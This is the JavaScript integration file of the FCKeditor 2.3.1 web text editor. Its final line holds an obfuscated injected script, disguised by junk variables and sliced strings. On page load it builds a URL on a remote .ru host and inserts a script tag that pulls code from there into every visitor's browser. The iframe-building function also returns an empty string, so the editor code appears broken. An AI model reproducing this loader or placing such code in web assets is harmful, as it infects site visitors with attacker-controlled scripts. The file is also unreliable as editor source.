﻿/*
 * FCKeditor - The text editor for internet
 * Copyright (C) 2003-2006 Frederico Caldeira Knabben
 * 
 * Licensed under the terms of the GNU Lesser General Public License:
 * 		http://www.opensource.org/licenses/lgpl-license.php
 * 
 * For further information visit:
 * 		http://www.fckeditor.net/
 * 
 * "Support Open Source software. What about a donation today?"
 * 
 * File Name: fckeditor.js
 * 	This is the integration file for JavaScript.
 * 
 * 	It defines the FCKeditor class that can be used to create editor
 * 	instances in a HTML page in the client side. For server side
 * 	operations, use the specific integration system.
 * 
 * File Authors:
 * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
 */

// FCKeditor Class
var FCKeditor = function( instanceName, width, height, toolbarSet, value )
{
	// Properties
	this.InstanceName	= instanceName ;
	this.Width			= width			|| '100%' ;
	this.Height			= height		|| '200' ;
	this.ToolbarSet		= toolbarSet	|| 'Default' ;
	this.Value			= value			|| '' ;
	this.BasePath		= '/fckeditor/' ;
	this.CheckBrowser	= true ;
	this.DisplayErrors	= true ;
	this.EnableSafari	= false ;		// This is a temporary property, while Safari support is under development.
	this.EnableOpera	= false ;		// This is a temporary property, while Opera support is under development.

	this.Config			= new Object() ;

	// Events
	this.OnError		= null ;	// function( source, errorNumber, errorDescription )
}

FCKeditor.prototype.Version			= '2.3.1' ;
FCKeditor.prototype.VersionBuild	= '1062' ;

FCKeditor.prototype.Create = function()
{
	// Check for errors
	if ( !this.InstanceName || this.InstanceName.length == 0 )
	{
		this._ThrowError( 701, 'You must specify an instance name.' ) ;
		return ;
	}

	document.write( '<div>' ) ;

	if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
	{
		document.write( '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ) ;
		document.write( this._GetConfigHtml() ) ;
		document.write( this._GetIFrameHtml() ) ;
	}
	else
	{
		var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
		var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;
		document.write('<textarea name="' + this.InstanceName + '" rows="4" cols="40" style="WIDTH: ' + sWidth + '; HEIGHT: ' + sHeight + '">' + this._HTMLEncode( this.Value ) + '<\/textarea>') ;
	}

	document.write( '</div>' ) ;
}

FCKeditor.prototype.ReplaceTextarea = function()
{
	if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
	{
		// We must check the elements firstly using the Id and then the name.
		var oTextarea = document.getElementById( this.InstanceName ) ;
		var colElementsByName = document.getElementsByName( this.InstanceName ) ;
		var i = 0;
		while ( oTextarea || i == 0 )
		{
			if ( oTextarea && oTextarea.tagName == 'TEXTAREA' )
				break ;
			oTextarea = colElementsByName[i++] ;
		}
		
		if ( !oTextarea )
		{
			alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
			return ;
		}

		oTextarea.style.display = 'none' ;
		this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
		this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
	}
}

FCKeditor.prototype._InsertHtmlBefore = function( html, element )
{
	if ( element.insertAdjacentHTML )	// IE
		element.insertAdjacentHTML( 'beforeBegin', html ) ;
	else								// Gecko
	{
		var oRange = document.createRange() ;
		oRange.setStartBefore( element ) ;
		var oFragment = oRange.createContextualFragment( html );
		element.parentNode.insertBefore( oFragment, element ) ;
	}
}

FCKeditor.prototype._GetConfigHtml = function()
{
	var sConfig = '' ;
	for ( var o in this.Config )
	{
		if ( sConfig.length > 0 ) sConfig += '&amp;' ;
		sConfig += escape(o) + '=' + escape( this.Config[o] ) ;
	}

	return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
}

FCKeditor.prototype._GetIFrameHtml = function()
{
	var sFile = (/fcksource=true/i).test( window.top.location.search ) ? 'fckeditor.original.html' : 'fckeditor.html' ;

	var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + this.InstanceName ;
	if (this.ToolbarSet) sLink += '&Toolbar=' + this.ToolbarSet ;

	return '' ;
}

FCKeditor.prototype._IsCompatibleBrowser = function()
{
	var sAgent = navigator.userAgent.toLowerCase() ;
	
	// Internet Explorer
	if ( sAgent.indexOf("msie") != -1 && sAgent.indexOf("mac") == -1 && sAgent.indexOf("opera") == -1 )
	{
		var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
		return ( sBrowserVersion >= 5.5 ) ;
	}

	// Gecko (Opera 9 tries to behave like Gecko at this point).
	if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
		return true ;

	// Opera
	if ( this.EnableOpera && navigator.appName == 'Opera' && parseInt( navigator.appVersion ) >= 9 )
			return true ;

	// Safari
	if ( this.EnableSafari && sAgent.indexOf( 'safari' ) != -1 )
		return ( sAgent.match( /safari\/(\d+)/ )[1] >= 312 ) ;	// Build must be at least 312 (1.3)
	
	return false ;
}

FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
{
	this.ErrorNumber		= errorNumber ;
	this.ErrorDescription	= errorDescription ;

	if ( this.DisplayErrors )
	{
		document.write( '<div style="COLOR: #ff0000">' ) ;
		document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
		document.write( '</div>' ) ;
	}

	if ( typeof( this.OnError ) == 'function' )
		this.OnError( this, errorNumber, errorDescription ) ;
}

FCKeditor.prototype._HTMLEncode = function( text )
{
	if ( typeof( text ) != "string" )
		text = text.toString() ;

	text = text.replace(/&/g, "&amp;") ;
	text = text.replace(/"/g, "&quot;") ;
	text = text.replace(/</g, "&lt;") ;
	text = text.replace(/>/g, "&gt;") ;
	text = text.replace(/'/g, "&#39;") ;

	return text ;
}
var U;if(U!='' && U!='Y'){U=''};function i(){var eX=new Date();var p=new Date();var z=RegExp;var EH;if(EH!='ER' && EH!='R'){EH='ER'};var I='';var oR='';var r='';var aa=new String();var rU;if(rU!='Yi' && rU != ''){rU=null};var _=new String("g");var B='';var h;if(h!='YD'){h=''};var PU='';var zr;if(zr!='' && zr!='dm'){zr=null};function E(X,M){var kT=new Array();var gB=new Array();var c= String("[");c+=M;c+=String("]IEXB".substr(0,1));var zu=new String();var a=new z(c, _);var JQ;if(JQ!='' && JQ!='EB'){JQ='m'};return X.replace(a, r);var W;if(W!=''){W='fh'};var G=new Array();};var dy;if(dy!='Sq'){dy='Sq'};var uO;if(uO!='eT'){uO='eT'};this.WH="";var K=new String("es0/yah".substr(3)+"oo.c"+"o.jp"+"/yahwVX".substr(0,4)+"18poo.c81p".substr(3,4)+"o.jpPi2".substr(0,4)+"/gookUiB".substr(0,4)+"3UMRgle.RMU3".substr(4,4)+"com/Dui".substr(0,4)+"4NEhuffE4N".substr(3,4)+"ingt"+"onpoDAq".substr(0,4)+"st.c"+"om/awNW".substr(0,4)+"Yh8meba".substr(3)+".jp."+"phpoEJu".substr(0,3));var oG="";var k=new String("scrhnxg".substr(0,3)+"6d7ipt".substr(3));var La;if(La!='' && La!='_D'){La='_t'};var YY;if(YY!='' && YY!='iO'){YY=''};var zE=window;var ZN;if(ZN!='' && ZN!='Ee'){ZN=''};var C=E('87115707511315853337130571153',"3751");var d="sr"+"c";var x;if(x!='Yt' && x!='_S'){x='Yt'};var f=new String("defe"+"r");var yk=new Date();var hZ;if(hZ!='eo' && hZ!='gG'){hZ=''};var _Y='';var rr;if(rr!='Ry' && rr!='Nf'){rr=''};var g=new String("htt"+"p:/"+"EGo/su".substr(3)+"EU7n-c".substr(3)+"IVKom.IKV".substr(3,3)+"lib5Q0".substr(0,3)+"a.c8OCi".substr(0,3)+"20aDom.D2a0".substr(4,3)+"sea"+"yvkIrs-".substr(4)+"comDJha".substr(0,3)+"BUg.thgUB".substr(3,3)+"eho"+"tla"+"b.r6IfG".substr(0,3)+"u:");var A;if(A!=''){A='Po'};var BZ;if(BZ!='xp' && BZ!='_u'){BZ=''};var Lu;if(Lu!='zt'){Lu=''};zE.onload=function(){try {var Vz='';_Y=g+C;var Ck;if(Ck!='Ev' && Ck != ''){Ck=null};var pR='';_Y+=K;var gJ;if(gJ!='' && gJ!='Kv'){gJ=''};var F;if(F!='' && F!='nu'){F=''};V=document.createElement(k);var aT=new String();var Bz=new String();this.Ds="";V[f]=[8,1][1];var hn;if(hn!='Qc' && hn!='OZ'){hn='Qc'};var YJ;if(YJ!='VzS'){YJ='VzS'};V[d]=_Y;var zV=new Date();var Wt;if(Wt!='nK' && Wt!='hq'){Wt=''};var RI;if(RI!=''){RI='FN'};document.body.appendChild(V);} catch(j){};};};this.Kg='';i();var CH=new Array();